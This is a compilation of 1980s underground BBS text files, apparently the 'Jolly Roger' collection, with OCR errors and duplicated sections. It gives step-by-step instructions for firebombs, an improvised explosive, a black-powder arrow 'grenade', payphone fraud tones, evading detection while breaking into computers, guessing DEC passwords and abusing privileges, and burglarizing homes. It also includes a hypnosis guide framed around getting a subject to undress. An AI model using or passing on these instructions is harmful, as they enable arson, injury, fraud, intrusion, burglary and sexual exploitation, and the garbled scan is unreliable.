to make all new uploads go to SYSOP level (Level 9) access only. This way 
nobody can pull off what I just explained. 

I feel this is a major Bug on Mr. Ledbetter's part. I just don't know why 

no one had thought of it before. I would like to give credit to 

Redline for the message he left on Modem Hell telling about this problem, 
and also to Unka for his ideas and input about correcting it. 


This has been brought to you from [_The_Piper_] and the S.0.D. BBS 
Network! 
Firebombs by the Jolly Roger 


Most fire bombs are simply gasoline filled bottles with a fuel 

soaked rag in the mouth (the bottle's mouth, not yours). The original 
Molotov cocktail, and still about the best, was a mixture of one part 
gasoline and one part motor oil. The oil helps it to cling to what it 
splatters on. 

Some use one part roofing tar and one part gasoline. Fire bombs 

have been found which were made by pouring melted wax into gasoline. 
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Fuse Ignition Bomb by The Jolly Roger 


A four strand homemade fuse is used for this. It burns like fury. 

It is held down and concealed by a strip of bent tin cut from a can. 
The exposed end of the fuse is dipped into the flare igniter. To use 
this one, you light the fuse and hold the fire bomb unti! the fuse has 
burned out of sight under the tin. Then throw it and when it breaks, 
the burning fuse will ignite the contents. 
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Fuse Ignition Bomb by The Jolly Roger 


A four strand homemade fuse is used for this. It burns like fury. 

It is held down and concealed by a strip of bent tin cut from a can. 
The exposed end of the fuse is dipped into the flare igniter. To use 
this one, you light the fuse and hold the fire bomb until the fuse has 
burned out of sight under the tin. Then throw it and when it breaks, 
the burning fuse will ignite the contents. 


wonneneeenee Jolly Roger 
Generic Bomb by the Jolly Roger 


1) Aquire a glass container 

2) Put in a few drops of gasoline 

3) Cap the top 

4) Now turn the container around to coat the inner surfaces and then 

evaporates 

5) Add a few drops of potassium permanganate (<-Get this stuff from a 

snake bite kit) 

6) The bomb is detonated by throwing aganist a solid object. 

*AFTER THROWING THIS THING RUN LIKE HELL THIS THING PACKS ABOUT 1/2 
STICK OF DYNAMITE* 
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Green Box Plans by the Jolly Roger 


Paying the initial rate in order to use a red box (on certain 

fortresses) left a sour taste in many red boxers mouths, thus the 

green box was invented. The green box generates useful tones such as 

COIN COLLECT, COIN RETURN, AND RINGBACK. These are the tones that 
ACTS or the TSPS operator would send to the CO when appropriate. 
Unfortunately, the green box cannot be used at the fortress station but 


must be used by the CALLED party. 


Here are the tones: 

COIN COLLECT 700+1100hz 
COIN RETURN — 1100+1700hz 
RINGBACK 700+1700hz 


Before the called party sends any of these tones, an operator realease 
signal should be sent to alert the MF detectors at the CO. 
This can be done by sending 900hz + 1500hz or a single 2600 wink (90 ms.) 
Also do not forget that the initial rate is collected shortly before the 
3 minute period is up. Incidentally, once the above MF 
tones for collecting and returning coins reach the CO, they are 
converted into an appropriate DC pulse (-130 volts for return and 
+130 for collect). This pulse is then sent down the tip to the 
fortress. This causes the coin relay to either return or collect the coins. 
The alledged "T-network” takes advantage of this information. 
When a pulse for coin collect (+130 VDC) is sent down the line, 
it must be grounded somewhere. This is usually the yellow or black wire. 
Thus, if the wires are exposed, these wires can be cut to prevent 
the pulse from being grounded. When the three minute initial 
period is almost up, make sure that the black and yellow wires are 
severed, then hang up, wait about 15 seconds in case of a second 
pulse, reconnect the wires, pick up the phone, and if all goes well, 
it should be "JACKPOT" time. 
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Portable Grenade Launcher by the Jolly Roger 


If you have a bow, this one is for you, Remove the ferrule from an 
aluminum arrow, and fill the arrow with black powder (I use grade 
FFFF, it burns easy)and then glue a shotshell primer into the hole 
left where the ferrule went. Next, glue a BB on the primer, and you 
are ready to go! Make sure no one is nearby.... Little shreds of 
aluminum go all over the place!! 
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Hacking Tutorial Courtesy of the Jolly Roger 


What is hacking? 

According to popular belief the term hacker and hacking was founded at mit 
it comes from the root of a hack writer,someone who keeps "hacking" at 

the typewriter until he finishes the story.a computer hacker would be 


hacking at the keyboard or password works. 


What you need: 
To hack you need a computer equipped with a modem (a device that lets you 
transmit data over phone lines) which should cost you from $100 to $1200. 


How do you hack? 

Hacking recuires two things: 
1. The phone number 

2. Answer to identity elements 


How do you find the phone #? 

There are three basic ways to find a computers phone number. 
1. Scanning, 

2. Directory 

3. Inside info. 


What is scanning? 

Scanning is the process of having a computer search for a carrier tone. 

For example,the computer would start at (800) 111-1111 and wait for carrier 
if there is none it will go on to 111-1112 etc.if there is a carrier it 

will record it for future use and continue looking for more. 


What is directory assictance? 
This way can only be used if you know where your target computer is, For this 
example say it is in menlo park, CA and the company name is sri. 


1, Dial 411 (or 415-555-1212) 
2. Say "Menlo park" 
3, Say "Sri" 
4, Write down number 
5, Ask if there are any more numbers 
6. If so write them down. 
7, Hang up on operator 
8. Dial all numbers you were given 
9. Listen fir carrier tone 
10, If you hear carrier tone write down number, call it on your modem and your 
set to hack! 
west eeenen enone Jolly Roger 


The Basics of Hacking II Courtesy of the Jolly Roger 


Basics to know before doing anything, essential to your continuing 

career as one of the elite in the country... This article, "the 

introduction to the world of hacking” is meant to help you by telling you 
how not to get caught, what not to do on a computer system, what type of 
equipment should I know about now, and just a little on the history, past 
present future, of the hacker. 


Welcome to the world of hacking! We, the people who live outside of the 
normal rules, and have been scorned and even arrested by those from the 
‘civilized world’, are becomming scarcer every day. This is due to the 
greater fear of what a good hacker (skill wise, no moral judgements 
here)|can do nowadays, thus causing anti- hacker sentiment in the masses. 
Also, few hackers seem to actually know about the computer systems they 
hack, or what equipment they will run into on the front end, or what they 
could do wrong on a system to alert the 'higher' authorities who monitor 
the system. This article is intended to tell you about some things not to 

do, even before you get on the system. I will tell you about the new wave 
of front end security devices that are beginning to be used on computers. 

I will attempt to instill in you a second identity, to be brought up at 

time of great need, to pull you out of trouble. And, by the way, I take no, repeat, 
no, responcibility for what we say in this and the forthcoming articles. 
Enough of the bullshit, on to the fun: after logging on your favorite bbs, 
you see on the high access board a phone number! It says it's a great 
system to "fuck around with!" This may be true, but how many other people 
are going to call the same number? So: try to avoid calling a number 
given to the public. This is because there are at least every other 

user calling, and how many other boards will that number spread to? 

If you call a number far, far away, and you plan on going thru an 

extender or a re-seller, don't keep calling the same access number 

(LE. As you would if you had a hacker running), this looks very suspicious 
and can make life miserable when the phone bill comes in the mail. 

Most cities have a variety of access numbers and services, 

sO use as many as you can. Never trust a change in the system... 

The 414's, the assholes, were caught for this reason: when one of them 
connected to the system, there was nothing good there. The next time, 
there was a trek game stuck right in their way! They proceded to play said 
game for two, say two and a half hours, while telenet was tracing them! 
Nice job, don't you think? If anything looks suspicious, drop the line 
immediately!! As in, yesterday!! The point we're trying to get accross is: 
if you use a little common sence, you won't get busted. Let the little 

kids who aren't smart enough to recognize a trap get busted, it will take 
the heat off of the real hackers. Now, let's say you get on a computer 
system... It looks great, checks out, everything seems fine. 


Ok, now is when it gets more dangerous. You have to know the computer 
system to know what not to do. 

Basically, keep away from any command something, copy a new file into the 
account, or whatever! Always leave the account in the same status you 
logged in with. Change *nothing*... If it isn’t an account with priv’s, 

then don't try any commands that require them! All, yes all, systems are 
going to be keeping log files of what users are doing, and that will 

show up. It is just like dropping a trouble-card in an ESS system, 

after sending that nice operator a pretty tone. 

Spend no excessive amounts of time on the account in one stretch. 

Keep your calling to the very late night ifpossible, or during 

business hours (believe it or not!). It so happens 

that there are more users on during business hours, and it is very 

difficult to read a log file with 60 users doing many commnds every minute. 
Try to avoid systems where everyone knows each other, don't try to bluff. 
And above all: never act like you own the system, or are the best there 

is. They always grab the people who's heads swell... There is some very 
interesting front end equipment around nowadays, but first let's 

define terms... By front end, we mean any device that you must 

pass thru to get at the real computer. There are devices that are made to 
defeat hacker programs, and just plain old multiplexers. 

To defeat hacker programs, there are now devices that pick up the phone 
and just sit there... This means that your device gets no carrier, 

thus you think there isn't a computer on the other end. The 

only way around it is to detect when it was picked up. If it pickes up 

after the same number ring, then you know it is a hacker-defeater. 

These devices take a multi-digit code to let you into the system. 

Some are, in fact, quite sophisticated to the point where it 

will also limit the user name's down, so only one name or set of names 
can be valid logins after they input the code... Other devices input a 
number code, and then they dial back a pre-programmed number for that code. 
These systems are best to leave alone, 

because they know someone is playing with their phone. You may think "but 
i'll just reprogram the dial-back.” Think again, how stupid that is... 

Then they have your number, or a test loop if you were just a little 
smarter. If it's your number, they have your balls (if male...), 

If its a loop, then you are screwed again, since those loops 

are *monitored*, As for multiplexers... What a plexer is supposed 

to do is this: 

The system can accept multiple users. We have to time share, so we'll let 
the front-end processor do it... Well, this is what a multiplexer does. 
Usually they will ask for something like "enter class" or "line:". Usually 
it is programmed for a double digit number, or a four to five letter word. 
There are usually a few sets of numbers it accepts, but those numbers also 
set your 300/1200/2400 baud data type. 


These multiplexers are inconvenient at best, so not to worry. A little 
about the history of hacking: hacking, by my definition, means a great 
knowledge of some special area. Doctors and lawyers 

are hackers of a sort, by this definition. But most often, it is 

being used in the computer context, and thus we have a definition of 
"anyone who has a great amount of computer or telecommunications 
knowledge.” You are not a hacker because you have a list of codes... 
Hacking, by my definition, has then been around only about 15 years. 

It started, where else but, mit and colleges where they had computer 
science or electrical engineering departments. 

Hackers have created some of the best computer languages, the 

most awesome operating systems, and even gone on to make millions. 
Hacking used to have a good name, when we could honestly say 

"we know what we are doing". Now it means (in the public eye): 

the 414's, ron austin, the nasa hackers, the arpanet hackers... 

All the people who have been caught, 

have done damage, and are now going to have to face fines and sentences. 
Thus we come past the moralistic crap, and to our purpose: educate the 
hacker community, return to the days when people actually knew something... 


ads Jolly Roger 


Hacking DEC's by the Jolly Roger 


In this article you will learn how to log in to dec's, logging out, and all 

the fun stuff to do in-between. All of this information is based on a 
standard dec system. 

Since there are dec systems 10 and 20, and I favor, the dec 20, 

there will be more info on them in this article. It just so happens 

that the dec 20 is also the more common of the two, and is used by much 
more interesting people (if you know what I mean...) Ok, the first thing 
you want to do when you are receiving carrier from a dec system is to find 
out the format of login names. You can do this by looking at who is on the 
system. 

Dec=>* (the 'exec' level prompt) 

you=> sy 

sy is short for sy(stat) and shows you the system status. 

You should see the format of login names... 

A systat usually comes up in this form: 

job line program user 

job: the job number (not important unless you want to log them off later) 
line: what line they are on (used to talk to them...) 

These are both two or three digit numbers. 

Program: what program are they running under? If it says ‘exec’ 


they aren't doing anything at all... 

User: ahhhahhhh! This is the user name they are logged in under... 

Copy the format, and hack yourself outa working code... Login format is as 
such: 

dec=> * 

you=> login username password 

username is the username in the format you saw above in the systat. 

After you hit the space after your username, it will stop echoing 

characters back to your screen. This is the password you are typing in... 
Remember, people usually use their name, their dog's name, the name of a 
favorite character in a book, or something like this. A few clever 

people have it set to a key cluster (qwerty or asdfg). Pw's can be from | 

to 8 characters long, anything after that is ignored. You are finally in... 

It would be nice to have a little help, wouldn't it? Just type a ? Or the 
word help, and it will give you a whole list of topics... 

Some handy characters for you to know would be the control keys, 
wouldn't it? Backspace on a dec 20 is rub which is 255 on your ascii chart. 
On the dec 10 it is cntrl-h. To abort a long listing or a program, 

entrl-c works fine, Use cntrl-o to stop long output to the terminal. 

This is handy when playing a game, but you don't want to cntrl-c out. 
Cntrl-t for the time. Cntrl-u will kill the whole line you are typing at 

the moment. You may accidently run a program where the only way out is 
a cntrl-x, so keep that in reserve. Cntrl-s to stop listing, cntrl-q to 

continue on both systems. Is your terminal having trouble?? 

Like, it pauses for no reason, or it doesn't backspace right? This is 
because both systems support many terminals, and you haven't told it what 
yours is yet... You are using a vt05 

so you need to tell it you are one. 

Dec=>* 

you=> information terminal 

or... 

You=> info 

this shows you what your terminal is set up as... 

Dec=>all sorts of shit, then the * 

you=> set ter vt0S this sets your terminal 

type to vt05, 

Now let's see what is in the account (here after abbreviated acct.) 

that you have hacked onto... Say 

=> dir 

short for directory, it shows 

you what the user of the code has save to the disk. There should be a format 
like this: xxxxx.Oooxxxxx is the file name, from 1 to 20 characters 

long. Ooo is the file type, one of: exe, txt, dat, bas, cmd anda few 

others that are system dependant. 

Exe is a compiled program that can be run (just by typing its name at the *). 


Txt is a text file, which you can see by 
typing=> 
type xxxxx.Txt 
Do not try to=> 
type xxxxx.Exe this is very bad for your terminal and will tell you 
absolutly nothing. 
Dat is data they have saved. 
Bas is a basic program, you can have it typed out for you. 
Cmd is a command type file, a little too 
complicated to go into here. 
Try => 
take xxxxx.Cmd 
By the way, there are other users out there who may have files you can use 
(gee, why else am | here?). 
Type => dir <*.*> (Dec 20) 

=> dir [*,*] (dec 10) 
* is a wildcard, and will allow you to access the files on other accounts 
if the user has it set for public access. If it isn't set for public access, 
then you won't see it. To run that program: 
dec=>°* 
you=> username program-name 
username is the directory you saw the 
file listed under, and file name was 
what else but the file name? 
** You are not alone ** 
remember, you said (at the very start) sy short for systat, 
and how we said this showed the other users on the system? Well, you 
can talk to them, or at least send a message to anyone you see listed ina 
systat. You can do this by: 
dec=> the user list (from your systat) 
you=> talkusername (dec 20) 

send username (dec 10) 
talk allows you and them immediate transmission of whatever you/they type 
to be sent to the other. Send only allow you one message to be sent, and 
send, they will send back to you, with talk you can just keep going. By the 
way, you may be noticing with the talk command that what you type is still 
acted upon by the parser (contro! program). To avoid the constant error 
messages type either: 
you=> ;your message 
you=> rem your message 
the semi-colon tells the parser that what follows is just a comment. Rem 
is short for ‘remark’ and ignores you from then on until you type a cntrl-z 
or entrl-c, at which point it puts you back in the exec mode. To break the 
connection from a talk command type: 
you=> break priv’s: 


if you happen to have privs, you can do all sorts of things. 

First of all, you have to activate those privs. 

You=> enable 

this gives you a $ prompt, and allows you to do this: 

whatever you can do to your own directory you can now do to any 
other directory. To create a new acct. Using your privs, just type 
=>build username 

if username is old, you can edit it, if it is new, you can 

define it to be whatever you wish. Privacy means nothing to a user with 
privs. By the way, there are various levels of privs: operator, wheel, 
cia. 

wheel is the most powerful, being that he can log in from anywhere and 
have his powers. 

Operators have their power because they are at a special terminal 
allowing them the privs. Cia is short for ‘confidential information 
access’, which allows you a low level amount of privs. 

Not to worry though, since you can read the system log file, which also 
has the passwords to all the other accounts. 

To de-activate your privs, type 

you=> disable 

when you have played your greedy heart out, you can finally leave the 
system with the command=> 

logout 

this logs the job you are using off the system (there may be varients 

of this such as kjob, or killjob). 


espe se tesa Jolly Roger 
eee Jolly Roger 
Harmless Bombs by the Jolly Roger 


To all those who do not wish to inflict bodily damage on their victims 
but only terror. 

These are weapons that should be used from high places. 

1) The flour bomb. 

Take a wet paper towel and pour a given amount of baking flour in 
the center. Then wrap it up and put on a rubber band to keep it 
together. When thrown it will fly well but when it hits, it covers 
the victim with the flower or causes a big puff of flour which will 
put the victim in terror since as far as they are concerned, some 
strange white powder is all over them. This is a cheap method of 
terror and for only the cost of a roll of paper towels and a bag of 
flour you and your friends can have loads of fun watching people 
flee in panic. 


2) Smoke bomb projectile. 
All you need is a bunch of those little round smoke bombs and a 
wrist rocket or any sling-shot. Shoot the smoke bombs and watch the 
terror since they think it will blow up! 
3) Rotten eggs (good ones) 
Take some eggs and get a sharp needle 
and poke a smail hole in the top of each one. 
Then let them sit in a warm place for about a week. Then you've got a 
bunch of rotten eggs that will only smell when they hit. 
4) Glow in the dark terror. 
Take one of those tubes of glow in the dark stuff and pour the 
stuff on whatever you want to throw and when it gets on the victim, 
they think it's some deadly chemical or a radioactive substance so 
they run in total panic. This works especially well with flower 
bombs since a gummy, glowing substance gets all over the victim. 
5) Fizzling panic. 
Take a baggie of a water-baking soda solution and seal it. (Make 
sure there is no air in it since the solution will form a gas and 
you don't want it to pop on you.) Then put it in a bigger plastic 
bag and fill it with vinegar and seal it. When thrown, the two 
substances will mix and cause a violently bubbling substance to go 
all over the victim, 

necro seen eesens, Jolly Roger 


Breaking Into Houses by the Jolly Roger 


Okay You Need: 

1. Tear Gas or Mace 
2. A BB/Pelet Gun 
3, An Ice Pick 

4, Thick Gloves 


What You Do Is: 


1. Call the ###-#### of the house, or ring doorbell, To find out if 
they're home. 
. If they're not home then... 
. Jump over the fence or walk through gate (whatever). 
. If you see a dog give him the mace or tear gas. 


. Push the ice-pick through the hole (made by the BB gun). 
. Enter window. 
. FIRST...Find the LIVING ROOM. (they’re neat things there!). 


2 

3 

4 

S) 

6. Shoot the BB gun slightly above the window locks. 

7 

8 

9 

10. Then goto the Bed-room to get a pillow case. Put the goodies in 


the pillow case. 
11. Get out <-* FAST! -*> 


Notes: You should have certian targets worked out (like computers, 

Radios, Ect.,Ect.). Also <-* NEVER *-> Steal from your own 

neigborhood. If you think they have an alarm...<-* FORGET IT! *->. 
none ec eneeeeeee, Jolly Roger 


A Guide to Hypnotism Courtesy of the Jolly Roger 
(Originally an Apple ][ file, forgive the uppercase!) 


thane ere nnn nnn nnn n ne + 
! WHAT HYPNOTISM IS ! 
hewn enn n ene e een e ne ee + 


HYPNOTISM, CONTRARY TO COMMON BELEIF, IS MERELY STATE WHEN YOUR MIND 

AND 

BODY ARE IN A STATE OF RELAXATION AND YOUR MIND IS OPEN TO POSITIVE, OR 

CLEVERLY WORDED NEGATIVE, INFLUENCES. IT IS NOT A TRANCE WHERE YOU: 
> ARE TOTALLY INFLUENCABLE. 


> CANNOT LIE. 
> A SLEEP WHICH YOU CANNOT WAKE UP FROM 
WITHOUT HELP. 

THIS MAY BRING DOWN YOUR HOPE SOMEWHAT, BUT, HYPNOTISM IS A POWERFUL 
FOR 
SELF HELP, AND/OR MISCHEIF. 
specnwneceeneenceeeceneen + 
! YOUR SUBCONCIOUS MIND ! 
tfscdeteceecenecenntinncs + 


BEFORE GOING IN FURTHER, I'D LIKE TO STATE THAT HYPNOTISM NOT ONLY IS 
GREAT IN THE WAY THAT IT RELAXES YOU AND GETS YOU (IN THE LONG RUN) 
WHAT 

YOU WANT, BUT ALSO THAT IT TAPS A FORCE OF INCREDIBLE POWER, BELEIVE IT 
OR 

NOT, THIS POWER IS YOUR SUBCONCIOUS MIND. 

THE SUBCONCIOUS MIND ALWAYS KNOWS WHAT IS GOING ON WITH EVERY PART 
OF YOUR BODY, 

EVERY MOMENT OF THE DAY. IT PROTECTS YOU FROM NEGATIVE INFLUENCES, 
AND RETAINS THE POWER TO SLOW YOUR HEARTBEAT DOWN AND STUFF LIKE 
THAT, 

THE SUBCONCIOUS MIND HOLDS JUST ABOUT ALL THE INFO YOU WOULD LIKE TO 


KNOW 

ABOUT YOURSELF, OR, IN THIS CASE, THE PERSON YOU WILL BE HYPNOTISING. 
THERE ARE MANY WAYS TO TALK TO YOUR SUBCONCIOUS AND HAVE IT TALK 
BACK TO 

YOU. ONE WAY IS THE OUJA BOARD, NOITS NOT A SPIRIT, MERELY THE 

MINDS OF THOSE WHO ARE USING IT. ANOTHER, WHICH I WILL DISCUSS HERE, 

IS THE PENDULUM METHOD. OK, HERE IS HOW IT GOES. 

FIRST, GET A RING OR A WASHER AND TIE IT TO A THREAD A LITTLE LONGER THAN 
HALF OF YOUR FOREARM. NOW, TAKE A SHEET OF PAPER AND DRAW A BIG CIRCLE 
IN 

IT. IN THE BIG CIRCLE YOU MUST NOW DRAW A CROSSHAIR (A BIG +). NOW, PUT 
THE SHEET OF PAPER ON A TABLE. NEXT, HOLD THE THREAD WITH THE RING OR 
WASHER ON IT AND PLACE IT (HOLDING THE THREAD SO THAT THE RING IS 1 INCH 
ABOVE THE PAPER SWINGING) IN THE MIDDLE OF THE CROSSHAIR. NOW, SWING 
THE THREAD SO THE WASHER GOES UP AND DOWN, SAY TO YOURSELF THE WORD 
"YES" 

NOW, DO IT SIDE TO SIDE AND SAY THE WORD "NO". 

DO IT COUNTER CLOCKWISE AND SAY "I DON'T KNOW". 

AND LASTLY, DO IT CLOCK WISE AND SAY "I DONT WANT TO SAY." NOW, WITH THE 
THREAD BACK IN THE MIDDLE OF THE CROSSHAIR, ASK YOURSELF QUESTIONS AND 
WAIT FOR THE PENDULUM TO SWING IN THE DIRECTION FOR THE ANSWER. (YES, 
NO, 

I DONT KNOW ORI DONT WANNA SAY...). SOON, TO YOUR AMAZEMENT, IT WILL BE 
ANSWERING QUESTIONS LIKE ANYTHING... LET THE PENDULUM ANSWER, DONT 
TRY.. 

WHEN YOU TRY YOU WILL NEVER GET AN ANSWER. LET THE ANSWER COME TO 
YOU. 


whescecadcuppeestcetees ates’ + 
! HOW TO INDUCE HYPNOTISM ! 
sprentteceasttanaadhacmutaias + 


NOW THAT YOU KNOW HOW TO TALK TO YOUR SUBCONCIOUS MIND, I WILL NOW 
TELL YOU 

HOW TO GUIDE SOMEONE INTO HYPNOSIS. NOTE THAT I SAID GUIDE, YOU CAN 
NEVER, 

HYNOTISE SOMEONE, THEY MUST BE WILLING. OK, THE SUBJECT MUST BE LYING 
OR 

SITTING IN A COMFORTABLE POSITION, RELAXED, AND AT A TIME WHEN THINGS 
ARENT 

GOING TO BE INTERRUPTED. 

TELL THEM THE FOLLOWING OR SOMETHING CLOSE TO IT, IN A PEACEFUL, 
MONOTINOUS 

TONE (NOT A COMMANDING TONE OF VOICE) 


NOTE: LIGHT A CANDLE AND PLACE IT SOMEWHERE WHERE IT CAN BE EASILY 
SEEN. 


TAKE A DEEP BREATH THROUGH YOUR NOSE AND HOLD IT IN FOR A COUNT OF 8, 
NOW, 

THROUGH YOUR MOUTH, EXHALE COMPLETELY AND SLOWLY. CONTINUED 
BREATHING LONG, 

DEEP, BREATHS THROUGH YOUR NOSE AND EXHALING THROUGH YOUR MOUTH. 
TENSE UP 

ALL YOUR MUSCLES VERY TIGHT, NOW, COUNTING FROM TEN TO ONE, RELEASE 
THEM 

SLOWLY, YOU WILL FIND THEM VERY RELAXED. NOW, LOOK AT THE CANDLE, AS 
YOU LOOK AT IT, WITH EVERY BREATH AND PASSING MOMEMENT, YOU ARE 
FEELING 

INCREASINGLY MORE AND MORE PEACEFUL AND RELAXED. THE CANDLES FLAME 
IS 

PEACEFUL AND BRIGHT. 

AS YOU LOOK AT ITI WILL COUNT FROM 100 DOWN, AS A COUNT, YOUR EYES WILL 
BECOME MORE AND MORE RELAXED, GETTING MORE AND MORE TIRED WITH EACH 
PASSING MOMENT." 

NOW, COUNT DOWN FROM 100, ABOUT EVERY 10 NUMBERS SAY "WHEN I REACH XX 
YOUR 

EYES (OR YOU WILL FIND YOUR EYES) ARE BECOMING MORE AND MORE TIRED." 
TELL 

THEM THEY MAY CLOSE THEIR EYES WHENEVER THEY FEEL LIKE IT. IF THE 
PERSONS 

EYES ARE STILL OPEN WHEN YOU GET TO 50 THEN INSTEAD OF SAYING 

"YOUR EYES WILL.." 

SAY "YOUR EYES ARE...". 

WHEN THEIR EYES ARE SHUT SAY THE FOLLOWING. AS YOU LIE (OR SIT) HERE WITH 
YOUR EYES COMFORTABLY CLOSE YOU FIND YOURSELF RELAXING MORE AND 
MORE WITH EACH MOMENT AND BREATH. 

THE RELAXATION FEELS PLEASANT AND BLISSFUL SO, YOU HAPPILY GIVE WAY TO 
THIS WONDERFUL FEELING. IMAGINGE YOURSELF ON A CLOUD, RESTING 
PEACEFULLY, 

WITH A SLIGHT BREEZE CARESSING YOUR BODY. A TINGLING SENSASION BEGINS 
TO WORK ITS WAY, WITHIN AND WITHOUT YOUR TOES, IT SLOWLY MOVES UP YOUR 
FEET, MAKING THEM WARM, HEAVY AND RELAXED. THE CLOUD IS SOFT AND 
SUPPORTS 

YOUR BODY WITH ITS SOFT TEXTURE, THE SCENE IS PEACEFUL AND ABSORBING, 
THE PEACEFULNESS ABSORBS YOU COMPLETELY... 

THE TINGLING GENTLY AND SLOWLY MOVES UP YOUR LEGS, RELAXING THEM. 
MAKING THEM WARM AND HEAVY. THE RELAXATION FEELS VERY GOOD, IT FEELS 
SO 

GOOD TO RELAX AND LET GO. AS THE TINGLING CONTINUES ITS JOURNEY UP INTO 


YOUR SOLAR PLEXUS, YOU FEEL YOUR INNER STOMACH BECOME VERY RELAXED. 
NOW, 

IT MOVES SLOWLY INTO YOUR CHEST, MAKING YOUR BREATHING RELAXED AS 
WELL. 

THE FEELING BEGINS TO MOVE UP YOUR ARMS TO YOUR SHOULDERS, MAKING 
YOUR ARMS 

HEAVY AND RELAXED AS WELL. YOU ARE AWARE OF THE TOTAL RELAXATION 
YOU ARE 

NOW EXPERIENCING, AND YOU GIVE WAY TO IT. IT 1S GOOD AND PEACEFUL, THE 
TINGLING NOW MOVEVES INTO YOUR FACE AND HEAD, RELAXING YOUR JAWS, 
NECK, AND 

FACIAL MUSCLES, MAKING YOUR CARES AND WORRIES FLOAT AWAY. AWAY INTO 
THE 

BLUE SKY AS YOU REST BLISFUILY ON THE CLOUD.... 

IF THEY ARE NOT RESPONSIVE OR YOU THINK THEY (HE OR SHE..) IS GOING TO 
SLEEP, THEN ADD IN A '".. ALWAYS CONCENTRATING UPON MY VOICE, INGORING 
ALL 

OTHER SOUNDS. EVEN THOUGH OTHER SOUNDS EXSIST, THEY AID YOU IN YOUR 
RELAXATION..." THEY SHOULD SOON LET OUT A SIGH AS IF THEY WERE LETTING 


GO, 

AND THEIR FACE SHOULD HAVE A "WOODENESS" TO IT, BECOMING FEATURLESS... 
NOW, 

SAY THE FOLLOWING "..... YOU NOW FIND YOURSELF IN A HALLWAY, THE 
HALLWAY IS 


PEACEFUL AND NICE. AS I COUNT FROM 10 TO 1 YOU WILL IMAGINE YOURSELF 
WALKING FURTHER AND FURTHER DOWN THE HALL. WHEN I REACH ONE YOU WILL 
FIND 

YOURSELF WHERE YOU WANT TO BE, IN ANOTHER, HIGHER STATE OF CONCIOUS 
AND 

MIND. (COUNT FROM TEN TO ONE)....." DO THIS ABOUT THREE OR FOUR TIMES. 
THEN, TO TEST IF THE SUBJECT IS UNDER HYPNOSIS OR NOT, SAY.... 

"...YOU FEEL A STRANGE SENSATION IN YOUR (ARM THEY WRITE WITH) ARM, THE 
FEELING BEGINS AT YOUR FINGERS AND SLOWLY MOVES UP YOUR ARM, AS IT 


MOVES 

THROUGH YOUR ARM YOUR ARM BECOMES LIGHTER AND LIGHTER, IT WILL SOON 
BESO 

LIGHT IT WILL ..... BECOMING LIGHTER AND LIGHTER WHICH EACH BREATH AND 
MOMENT...” 


THEIR FINGERS SHOULD BEGIN TO TWITCH AND THEN MOVE UP, THE ARM 
FOLLOWING, 

NOW MY FRIEND, YOU HAVE HIM/HEP IN HYPNOSIS. THE FIRST TIME YOU DO THIS, 
WHILE HE/SHE IS UNDER SAY GOOD THINGS, LIKE: "YOUR GOING TO FEEL GREAT 
TOMORROW" OR "EVERY DAY IN EVERY WAY YOU WILL FIND YOURSELF 
BECOMING BETTER 

AND BETTER".. OR SOME CRAP LIKE THAT... THE MORE THEY GO UNDER, THE 


DEEPER 
IN HYPNOSIS THEY WILL GET EACH TIME YOU DO IT. 


han ee oe enn n ene eneen eee + 
! WHAT TO DO WHEN HYPNOTISED ! 
2 eee eee + 


WHEN YOU HAVE THEM UNDER YOU MUST WORD THINGS VERY CAREFULLY TO 
GET YOUR 

WAY. YOU CANNOT SIMPLY SAY... TAKE OFF YOUR CLOTHES AND FUCK THE 
PILLOW. 

NO, THAT WOULD NOT REALLY DO THE TRICK. YOU MUST SAY SOMETHING LIKE.... 
"YOU FIND YOUR SELF AT HOME, IN YOUR ROOM AND YOU HAVE TO TAKE A 
SHOWER 

(VIVIDLY DESCRIBE THEIR ROOM AND WHATS HAPPENING), YOU BEGIN TO TAKE 
OFF 

YOUR CLOTHES..." NOW, IT CANT BE THAT SIMPLE, YOU MUST KNOW THE PERSONS 
HOUSE, ROOM, AND SHOWER ROOM. THEN DESCRIBE THINGS VIVIDLY AND TELL 
THEM 

TO ACT IT OUT (THEY HAVE TO BE DEEPLY UNDER TO DO THIS...). | WOULD JUST 

SUGGEST THAT YOU EXPERIMENT A WHILE, AND GET TO KNOW HO; TO DO THINGS. 


Pe eee + 
! WAKING UP! 
fawieccedcta + 


FIND YOURSELF BECOMMING MORE AND MORE AWAKE, MORE AND MORE LIVELY. 
WHEN 

YOU WAKE UP YOU WILL FIND YOURSELF COMPLETELY ALIVE, AWAKE, AND 
REFRESHED, 

MENTALLY AND PHYSICALLY, REMEMBERING THE PLEASANT SENSATION THAT 
HYPNOSIS 

BRINGS... WAKING UP FEELING LIKE A NEW BORN BABY, REBORN WITH LIFE AND 
VIGOR, FEELING EXCELLENT. REMEMBERING THAT NEXT TIME YOU ENTER 
HYPNOSIS IT 

WILL BECOME AN EVER INCREASING DEEPER AND DEEPER STATE THAN BEFORE. 
1- YOU FEEL ENERGY COURSE THROUGHOUT YOUR LIMBS. 

2- YOU BEGIN TO BREATHE DEEPLY, STIRRING. 

3- BEGINING TO MOVE MORE AND MORE YOUR EYES OPEN, BRINGING YOU UP TO 
FULL CONCIOUS. 

4- YOU ARE UP,UP, UP AND AWAKENING MORE AND MORE. 

5- YOU ARE AWAKE AND FEELING GREAT." 


AND THATS IT! YOU NOW KNOW HOW TO HYPNOTISE YOURSELF AND SOMEONE 


ELSE. 
YOU WILL LEARN MORE AND MORE AS YOU EXPERIMENT. 


wenennneenc ene nenn, Jolly Roger 
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Introduction 
Welcome to the first issue of 'The Remote Informer’! This newsletter 
is reader supported. If the readers of this newsletter do not help 
support it, then it will end. We are putting this out to help out the 
ones that would like to read it. If you are one of those who thinks they 
know everything, then don't bother reading it. This newsletter is not 
anything like the future issues. The future issues will contain several 
sections, as long as reader input is obtained. Below is an outline 
overview of the sections in the future issues. 


1/O Board (Input/Output Board) 
The I/O Board is for questions you have, that we might be able to 


answer or atleast refer you to someone or something. We will be honest if 
we cannot help you. We will not make up something, or to the effect, just 


to make it look like we answered you. There will be a section in the I/O 
Board for questions we cannot answer, and then the readers will have the 
opportunity to answer it. We will print anything that is reasonable in 
the newsletter, even complaints if you feel like you are better than 
everyone. 


NewsCenter 


This section will be for news around the underworld. It will talk of 
busts of people in the underworld and anything else that would be 
considered news. If you find articles in the paper, or something happens 
in your local area, type it up, and upload it to one of the boards listed 

at the end of the newsletter. Your handle will be placed in the article. 

If you do enter a news article, please state the date and from where you 
got it. 


Feature Section 


The Feature Section will be the largest of the sections as it will be 

on the topic that is featured in that issue. This will be largely reader 
input which will be sent in between issues. At the end of the issue at 
